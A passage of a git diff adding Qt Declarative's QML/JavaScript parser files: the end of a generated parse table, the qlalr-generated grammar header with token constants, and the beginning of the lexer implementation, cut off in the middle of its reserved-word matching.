+ -1, -1, -1, -1, -1, -1, 65, 66, 67, 68,
+ -1, 70, -1, 72, -1, 74, -1, 76, -1, -1,
+ -1, -1, 81, 82, 83, -1, -1, -1, 87, -1,
+ -1, -1, -1, 92, -1, -1, -1, -1, -1, -1,
+ -1, -1, 8, -1, -1, 11, 12, 13, -1, -1,
+ -1, -1, -1, -1, -1, -1, 22, -1, -1, -1,
+ -1, -1, -1, 29, -1, -1, -1, 33, 34, -1,
+ 36, -1, -1, -1, 40, -1, 42, 43, 44, -1,
+ -1, 47, -1, -1, -1, 51, -1, 53, -1, -1,
+ 56, -1, -1, -1, -1, -1, -1, -1, -1, 65,
+ 66, 67, 68, -1, 70, -1, 72, -1, 74, -1,
+ 76, -1, -1, -1, -1, 81, 82, 83, -1, -1,
+ -1, 87, -1, -1, -1, -1, 92, -1, -1, -1,
+ -1, -1, -1, -1, -1, 11, 12, 13, -1, -1,
+ -1, -1, -1, -1, -1, -1, 22, -1, -1, -1,
+ -1, -1, -1, 29, 30, -1, -1, 33, 34, -1,
+ 36, -1, -1, -1, 40, -1, 42, 43, 44, -1,
+ -1, 47, -1, -1, -1, 51, -1, 53, -1, -1,
+ -1, -1, -1, -1, -1, 61, -1, -1, -1, 65,
+ 66, 67, 68, -1, 70, -1, 72, -1, 74, -1,
+ 76, -1, -1, -1, -1, 81, 82, 83, -1, -1,
+ -1, 87, -1, -1, -1, -1, 92, -1, -1, -1,
+ -1, -1, -1, -1, -1, 4, 5, 6, -1, -1,
+ 9, 10, 11, -1, -1, 14, -1, 16, -1, -1,
+ -1, 20, 21, 22, -1, -1, -1, -1, -1, -1,
+ 29, 30, 31, 32, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, 43, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ 59, -1, -1, -1, -1, -1, -1, 66, 67, 68,
+ 69, 70, 71, -1, 73, 74, 75, 76, 77, 78,
+ -1, -1, 81, 82, 83, 84, 85, 86, -1, -1,
+ -1, -1, -1, 92, -1, -1, -1, -1, -1, -1,
+ -1, -1, 4, 5, 6, -1, -1, 9, 10, 11,
+ -1, -1, 14, -1, 16, -1, -1, -1, 20, 21,
+ 22, -1, -1, -1, -1, -1, -1, 29, 30, 31,
+ 32, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, 43, -1, -1, -1, 47, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, 59, -1, -1,
+ -1, -1, -1, 65, 66, 67, -1, 69, 70, 71,
+ -1, 73, 74, 75, 76, 77, 78, -1, -1, 81,
+ 82, 83, 84, 85, 86, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, 4,
+ 5, 6, -1, -1, 9, 10, 11, -1, -1, 14,
+ -1, 16, -1, -1, -1, 20, 21, 22, -1, -1,
+ -1, -1, -1, -1, 29, 30, 31, 32, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, 43, -1,
+ -1, -1, 47, -1, -1, -1, -1, -1, -1, -1,
+ 55, -1, -1, -1, 59, -1, -1, -1, -1, -1,
+ 65, 66, 67, -1, 69, 70, 71, -1, 73, 74,
+ 75, 76, 77, 78, -1, -1, 81, 82, 83, 84,
+ 85, 86, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, 4, -1, -1, -1,
+ -1, 9, -1, 11, 12, 13, 14, -1, -1, -1,
+ -1, -1, -1, 21, 22, -1, -1, -1, -1, -1,
+ -1, 29, 30, -1, -1, 33, 34, -1, 36, -1,
+ -1, -1, 40, -1, 42, 43, 44, -1, -1, 47,
+ -1, -1, -1, 51, -1, 53, -1, -1, -1, -1,
+ -1, 59, -1, 61, -1, -1, -1, 65, 66, 67,
+ 68, 69, 70, 71, 72, 73, 74, 75, 76, 77,
+ 78, -1, -1, 81, 82, 83, 84, 85, -1, 87,
+ -1, -1, -1, -1, 92, -1, -1, -1, -1, -1,
+ -1, -1, -1, 4, -1, -1, -1, -1, 9, -1,
+ 11, 12, 13, 14, -1, -1, -1, -1, -1, -1,
+ 21, 22, -1, -1, -1, -1, -1, -1, 29, 30,
+ -1, -1, 33, 34, -1, 36, -1, -1, -1, 40,
+ -1, 42, 43, 44, -1, -1, 47, -1, -1, -1,
+ 51, -1, 53, -1, -1, -1, -1, -1, 59, -1,
+ 61, -1, -1, -1, 65, 66, 67, 68, 69, 70,
+ 71, 72, 73, 74, 75, 76, 77, 78, -1, -1,
+ 81, 82, 83, 84, 85, -1, 87, -1, -1, -1,
+ -1, 92, -1, -1, -1, -1, -1, -1, -1, -1,
+ 4, 5, 6, -1, -1, 9, 10, 11, 12, 13,
+ 14, -1, 16, -1, -1, -1, 20, 21, 22, -1,
+ -1, -1, -1, -1, -1, 29, 30, 31, 32, 33,
+ 34, -1, 36, -1, -1, -1, 40, -1, 42, 43,
+ 44, -1, -1, 47, -1, -1, -1, 51, -1, 53,
+ -1, -1, -1, -1, -1, 59, -1, 61, -1, -1,
+ -1, 65, 66, 67, 68, 69, 70, 71, 72, 73,
+ 74, 75, 76, 77, 78, -1, -1, 81, 82, 83,
+ 84, 85, 86, 87, -1, -1, -1, -1, 92, -1,
+ -1, -1, -1, -1, -1, -1, -1, 4, 5, 6,
+ -1, -1, 9, 10, 11, 12, 13, 14, -1, 16,
+ -1, -1, -1, 20, 21, 22, -1, -1, -1, -1,
+ -1, -1, 29, 30, 31, 32, 33, 34, -1, 36,
+ -1, -1, -1, 40, -1, 42, 43, 44, -1, -1,
+ 47, -1, -1, -1, 51, -1, 53, -1, 55, -1,
+ -1, -1, 59, -1, 61, -1, -1, -1, 65, 66,
+ 67, 68, 69, 70, 71, 72, 73, 74, 75, 76,
+ 77, 78, -1, -1, 81, 82, 83, 84, 85, 86,
+ 87, -1, -1, -1, -1, 92, -1, -1, -1, -1,
+ -1, -1, -1, -1,
+
+ 35, 15, 15, 15, 2, 15, 3, 2, 25, 3,
+ 15, 15, 104, 15, 4, 3, 3, 3, 19, 15,
+ 2, 21, 15, 15, 3, 67, 25, 3, 19, 2,
+ 15, 2, 15, 13, 15, 19, 25, 3, 15, 11,
+ 15, 2, 96, 3, 2, 15, 2, 25, 3, 2,
+ 15, 100, 15, 93, 3, 2, 15, 98, 15, 2,
+ 2, 35, 3, 3, 15, 2, 35, 35, 35, 21,
+ 2, 25, 3, 35, 4, 21, 15, 2, 2, 15,
+ 2, 4, 3, 3, 3, 35, 2, 35, 21, 3,
+ 35, 3, 36, 21, 3, 13, 2, 35, 13, -1,
+ 35, 35, 2, -1, 15, 13, 35, -1, 16, -1,
+ -1, 40, -1, -1, -1, -1, 13, 44, 44, 46,
+ 46, 13, 15, -1, 16, -1, 41, 44, -1, 46,
+ 35, 44, -1, 46, 44, 40, 46, 44, 3, 46,
+ 44, 44, 44, 44, 41, 44, 49, 49, 49, 44,
+ 49, 46, 2, 44, 58, 46, 44, 44, 44, 15,
+ 46, 49, 49, 44, 44, 44, 46, 44, 44, 44,
+ 49, 15, 49, 49, 44, 81, 44, 52, 44, 60,
+ 50, 81, 50, 44, 50, 44, 44, 44, 99, 3,
+ 49, 49, 13, 37, 87, 56, 44, 54, 44, 20,
+ 3, 49, 48, 68, 44, 44, 44, 44, 48, 48,
+ 47, 44, 50, 46, 44, 44, 46, 46, 44, 44,
+ 46, 44, 47, 46, 44, 44, 46, 46, 44, 85,
+ 46, 3, 13, 31, 44, 15, 44, 35, -1, 49,
+ 44, 49, 44, 51, 44, 49, -1, 49, 44, 49,
+ -1, 61, -1, 49, 68, -1, 13, 37, 38, 16,
+ 41, 57, 66, -1, 66, 68, 66, 44, 44, 44,
+ -1, -1, 49, 49, 49, 51, 51, 44, 55, 44,
+ 44, 44, 49, 44, 49, 49, 49, 51, 49, -1,
+ 53, 13, 59, -1, 13, 5, 68, 16, 20, 18,
+ 5, 66, -1, 13, -1, 66, 28, 29, 13, -1,
+ 20, -1, -1, -1, -1, 20, 35, -1, 28, 29,
+ 13, -1, -1, 28, 29, -1, -1, 20, 21, 22,
+ 23, 24, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, 3,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, 13,
+ -1, -1, -1, -1, -1, -1, 20, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1};
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/parser/qdeclarativejsgrammar_p.h b/src/declarative/qml/parser/qdeclarativejsgrammar_p.h
new file mode 100644
index 00000000..70570766
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsgrammar_p.h
@@ -0,0 +1,210 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of other Qt classes. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+// This file was generated by qlalr - DO NOT EDIT!
+#ifndef QDECLARATIVEJSGRAMMAR_P_H
+#define QDECLARATIVEJSGRAMMAR_P_H
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeJSGrammar
+{
+public:
+ enum VariousConstants {
+ EOF_SYMBOL = 0,
+ REDUCE_HERE = 100,
+ SHIFT_THERE = 99,
+ T_AND = 1,
+ T_AND_AND = 2,
+ T_AND_EQ = 3,
+ T_AS = 91,
+ T_AUTOMATIC_SEMICOLON = 62,
+ T_BREAK = 4,
+ T_CASE = 5,
+ T_CATCH = 6,
+ T_COLON = 7,
+ T_COMMA = 8,
+ T_COMMENT = 88,
+ T_CONST = 84,
+ T_CONTINUE = 9,
+ T_DEBUGGER = 85,
+ T_DEFAULT = 10,
+ T_DELETE = 11,
+ T_DIVIDE_ = 12,
+ T_DIVIDE_EQ = 13,
+ T_DO = 14,
+ T_DOT = 15,
+ T_ELSE = 16,
+ T_EQ = 17,
+ T_EQ_EQ = 18,
+ T_EQ_EQ_EQ = 19,
+ T_FALSE = 83,
+ T_FEED_JS_EXPRESSION = 96,
+ T_FEED_JS_PROGRAM = 98,
+ T_FEED_JS_SOURCE_ELEMENT = 97,
+ T_FEED_JS_STATEMENT = 95,
+ T_FEED_UI_OBJECT_MEMBER = 94,
+ T_FEED_UI_PROGRAM = 93,
+ T_FINALLY = 20,
+ T_FOR = 21,
+ T_FUNCTION = 22,
+ T_GE = 23,
+ T_GT = 24,
+ T_GT_GT = 25,
+ T_GT_GT_EQ = 26,
+ T_GT_GT_GT = 27,
+ T_GT_GT_GT_EQ = 28,
+ T_IDENTIFIER = 29,
+ T_IF = 30,
+ T_IMPORT = 90,
+ T_IN = 31,
+ T_INSTANCEOF = 32,
+ T_LBRACE = 33,
+ T_LBRACKET = 34,
+ T_LE = 35,
+ T_LPAREN = 36,
+ T_LT = 37,
+ T_LT_LT = 38,
+ T_LT_LT_EQ = 39,
+ T_MINUS = 40,
+ T_MINUS_EQ = 41,
+ T_MINUS_MINUS = 42,
+ T_MULTILINE_STRING_LITERAL = 87,
+ T_NEW = 43,
+ T_NOT = 44,
+ T_NOT_EQ = 45,
+ T_NOT_EQ_EQ = 46,
+ T_NULL = 81,
+ T_NUMERIC_LITERAL = 47,
+ T_ON = 92,
+ T_OR = 48,
+ T_OR_EQ = 49,
+ T_OR_OR = 50,
+ T_PLUS = 51,
+ T_PLUS_EQ = 52,
+ T_PLUS_PLUS = 53,
+ T_PROPERTY = 66,
+ T_PUBLIC = 89,
+ T_QUESTION = 54,
+ T_RBRACE = 55,
+ T_RBRACKET = 56,
+ T_READONLY = 68,
+ T_REMAINDER = 57,
+ T_REMAINDER_EQ = 58,
+ T_RESERVED_WORD = 86,
+ T_RETURN = 59,
+ T_RPAREN = 60,
+ T_SEMICOLON = 61,
+ T_SIGNAL = 67,
+ T_STAR = 63,
+ T_STAR_EQ = 64,
+ T_STRING_LITERAL = 65,
+ T_SWITCH = 69,
+ T_THIS = 70,
+ T_THROW = 71,
+ T_TILDE = 72,
+ T_TRUE = 82,
+ T_TRY = 73,
+ T_TYPEOF = 74,
+ T_VAR = 75,
+ T_VOID = 76,
+ T_WHILE = 77,
+ T_WITH = 78,
+ T_XOR = 79,
+ T_XOR_EQ = 80,
+
+ ACCEPT_STATE = 645,
+ RULE_COUNT = 347,
+ STATE_COUNT = 646,
+ TERMINAL_COUNT = 101,
+ NON_TERMINAL_COUNT = 106,
+
+ GOTO_INDEX_OFFSET = 646,
+ GOTO_INFO_OFFSET = 2714,
+ GOTO_CHECK_OFFSET = 2714
+ };
+
+ static const char *const spell [];
+ static const short lhs [];
+ static const short rhs [];
+ static const short goto_default [];
+ static const short action_default [];
+ static const short action_index [];
+ static const short action_info [];
+ static const short action_check [];
+
+ static inline int nt_action (int state, int nt)
+ {
+ const int yyn = action_index [GOTO_INDEX_OFFSET + state] + nt;
+ if (yyn < 0 || action_check [GOTO_CHECK_OFFSET + yyn] != nt)
+ return goto_default [nt];
+
+ return action_info [GOTO_INFO_OFFSET + yyn];
+ }
+
+ static inline int t_action (int state, int token)
+ {
+ const int yyn = action_index [state] + token;
+
+ if (yyn < 0 || action_check [yyn] != token)
+ return - action_default [state];
+
+ return action_info [yyn];
+ }
+};
+
+
+QT_END_NAMESPACE
+#endif // QDECLARATIVEJSGRAMMAR_P_H
+
diff --git a/src/declarative/qml/parser/qdeclarativejslexer.cpp b/src/declarative/qml/parser/qdeclarativejslexer.cpp
new file mode 100644
index 00000000..0fa18be7
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejslexer.cpp
@@ -0,0 +1,1258 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include "private/qdeclarativejslexer_p.h"
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejsgrammar_p.h"
+
+#include <QtCore/qcoreapplication.h>
+
+#include <ctype.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+QT_BEGIN_NAMESPACE
+Q_CORE_EXPORT double qstrtod(const char *s00, char const **se, bool *ok);
+QT_END_NAMESPACE
+
+QT_QML_BEGIN_NAMESPACE
+
+#define shiftWindowsLineBreak() \
+ do { \
+ if (((current == '\r') && (next1 == '\n')) \
+ || ((current == '\n') && (next1 == '\r'))) { \
+ shift(1); \
+ } \
+ } \
+ while (0)
+
+namespace QDeclarativeJS {
+extern double integerFromString(const char *buf, int size, int radix);
+}
+
+using namespace QDeclarativeJS;
+
+Lexer::Lexer(Engine *eng, bool tokenizeComments)
+ : driver(eng),
+ yylineno(0),
+ done(false),
+ size8(128), size16(128),
+ pos8(0), pos16(0),
+ terminator(false),
+ restrKeyword(false),
+ delimited(false),
+ stackToken(-1),
+ state(Start),
+ pos(0),
+ code(0), length(0),
+ yycolumn(0),
+ startpos(0),
+ startlineno(0), startcolumn(0),
+ bol(true),
+ current(0), next1(0), next2(0), next3(0),
+ err(NoError),
+ wantRx(false),
+ check_reserved(true),
+ parenthesesState(IgnoreParentheses),
+ parenthesesCount(0),
+ prohibitAutomaticSemicolon(false),
+ tokenizeComments(tokenizeComments)
+{
+ if (driver) driver->setLexer(this);
+ // allocate space for read buffers
+ buffer8 = new char[size8];
+ buffer16 = new QChar[size16];
+ pattern = 0;
+ flags = 0;
+
+}
+
+Lexer::~Lexer()
+{
+ delete [] buffer8;
+ delete [] buffer16;
+}
+
+void Lexer::setCode(const QString &c, int lineno)
+{
+ errmsg.clear();
+ yylineno = lineno;
+ yycolumn = 1;
+ restrKeyword = false;
+ delimited = false;
+ stackToken = -1;
+ pos = 0;
+ code = c.unicode();
+ length = c.length();
+ bol = true;
+
+ // read first characters
+ current = (length > 0) ? code[0].unicode() : 0;
+ next1 = (length > 1) ? code[1].unicode() : 0;
+ next2 = (length > 2) ? code[2].unicode() : 0;
+ next3 = (length > 3) ? code[3].unicode() : 0;
+}
+
+void Lexer::shift(uint p)
+{
+ while (p--) {
+ ++pos;
+ ++yycolumn;
+ current = next1;
+ next1 = next2;
+ next2 = next3;
+ next3 = (pos + 3 < length) ? code[pos+3].unicode() : 0;
+ }
+}
+
+void Lexer::setDone(State s)
+{
+ state = s;
+ done = true;
+}
+
+int Lexer::findReservedWord(const QChar *c, int size) const
+{
+ switch (size) {
+ case 2: {
+ if (c[0] == QLatin1Char('d') && c[1] == QLatin1Char('o'))
+ return QDeclarativeJSGrammar::T_DO;
+ else if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('f'))
+ return QDeclarativeJSGrammar::T_IF;
+ else if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('n'))
+ return QDeclarativeJSGrammar::T_IN;
+ else if (c[0] == QLatin1Char('a') && c[1] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_AS;
+ else if (c[0] == QLatin1Char('o') && c[1] == QLatin1Char('n'))
+ return QDeclarativeJSGrammar::T_ON;
+ } break;
+
+ case 3: {
+ if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('o') && c[2] == QLatin1Char('r'))
+ return QDeclarativeJSGrammar::T_FOR;
+ else if (c[0] == QLatin1Char('n') && c[1] == QLatin1Char('e') && c[2] == QLatin1Char('w'))
+ return QDeclarativeJSGrammar::T_NEW;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('r') && c[2] == QLatin1Char('y'))
+ return QDeclarativeJSGrammar::T_TRY;
+ else if (c[0] == QLatin1Char('v') && c[1] == QLatin1Char('a') && c[2] == QLatin1Char('r'))
+ return QDeclarativeJSGrammar::T_VAR;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('n') && c[2] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 4: {
+ if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('a')
+ && c[2] == QLatin1Char('s') && c[3] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_CASE;
+ else if (c[0] == QLatin1Char('e') && c[1] == QLatin1Char('l')
+ && c[2] == QLatin1Char('s') && c[3] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_ELSE;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('i') && c[3] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_THIS;
+ else if (c[0] == QLatin1Char('v') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('i') && c[3] == QLatin1Char('d'))
+ return QDeclarativeJSGrammar::T_VOID;
+ else if (c[0] == QLatin1Char('w') && c[1] == QLatin1Char('i')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('h'))
+ return QDeclarativeJSGrammar::T_WITH;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('u') && c[3] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_TRUE;
+ else if (c[0] == QLatin1Char('n') && c[1] == QLatin1Char('u')
+ && c[2] == QLatin1Char('l') && c[3] == QLatin1Char('l'))
+ return QDeclarativeJSGrammar::T_NULL;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('e') && c[1] == QLatin1Char('n')
+ && c[2] == QLatin1Char('u') && c[3] == QLatin1Char('m'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('b') && c[1] == QLatin1Char('y')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('l') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('g'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('a') && c[3] == QLatin1Char('r'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('g') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('o'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 5: {
+ if (c[0] == QLatin1Char('b') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('e') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('k'))
+ return QDeclarativeJSGrammar::T_BREAK;
+ else if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('a')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('c')
+ && c[4] == QLatin1Char('h'))
+ return QDeclarativeJSGrammar::T_CATCH;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('r') && c[3] == QLatin1Char('o')
+ && c[4] == QLatin1Char('w'))
+ return QDeclarativeJSGrammar::T_THROW;
+ else if (c[0] == QLatin1Char('w') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('i') && c[3] == QLatin1Char('l')
+ && c[4] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_WHILE;
+ else if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('s')
+ && c[4] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_CONST;
+ else if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('a')
+ && c[2] == QLatin1Char('l') && c[3] == QLatin1Char('s')
+ && c[4] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_FALSE;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('o') && c[3] == QLatin1Char('r')
+ && c[4] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('u')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('e')
+ && c[4] == QLatin1Char('r'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('i')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('l'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('l')
+ && c[2] == QLatin1Char('a') && c[3] == QLatin1Char('s')
+ && c[4] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('l')
+ && c[2] == QLatin1Char('o') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 6: {
+ if (c[0] == QLatin1Char('d') && c[1] == QLatin1Char('e')
+ && c[2] == QLatin1Char('l') && c[3] == QLatin1Char('e')
+ && c[4] == QLatin1Char('t') && c[5] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_DELETE;
+ else if (c[0] == QLatin1Char('r') && c[1] == QLatin1Char('e')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('u')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('n'))
+ return QDeclarativeJSGrammar::T_RETURN;
+ else if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('w')
+ && c[2] == QLatin1Char('i') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('c') && c[5] == QLatin1Char('h'))
+ return QDeclarativeJSGrammar::T_SWITCH;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('y')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('e')
+ && c[4] == QLatin1Char('o') && c[5] == QLatin1Char('f'))
+ return QDeclarativeJSGrammar::T_TYPEOF;
+ else if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('m')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('o')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_IMPORT;
+ else if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('i')
+ && c[2] == QLatin1Char('g') && c[3] == QLatin1Char('n')
+ && c[4] == QLatin1Char('a') && c[5] == QLatin1Char('l'))
+ return QDeclarativeJSGrammar::T_SIGNAL;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('e') && c[1] == QLatin1Char('x')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('o')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('t')
+ && c[2] == QLatin1Char('a') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('i') && c[5] == QLatin1Char('c'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('d') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('u') && c[3] == QLatin1Char('b')
+ && c[4] == QLatin1Char('l') && c[5] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('m')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('o')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('p') && c[1] == QLatin1Char('u')
+ && c[2] == QLatin1Char('b') && c[3] == QLatin1Char('l')
+ && c[4] == QLatin1Char('i') && c[5] == QLatin1Char('c'))
+ return QDeclarativeJSGrammar::T_PUBLIC;
+ else if (c[0] == QLatin1Char('n') && c[1] == QLatin1Char('a')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('i')
+ && c[4] == QLatin1Char('v') && c[5] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('h')
+ && c[2] == QLatin1Char('r') && c[3] == QLatin1Char('o')
+ && c[4] == QLatin1Char('w') && c[5] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 7: {
+ if (c[0] == QLatin1Char('d') && c[1] == QLatin1Char('e')
+ && c[2] == QLatin1Char('f') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('u') && c[5] == QLatin1Char('l')
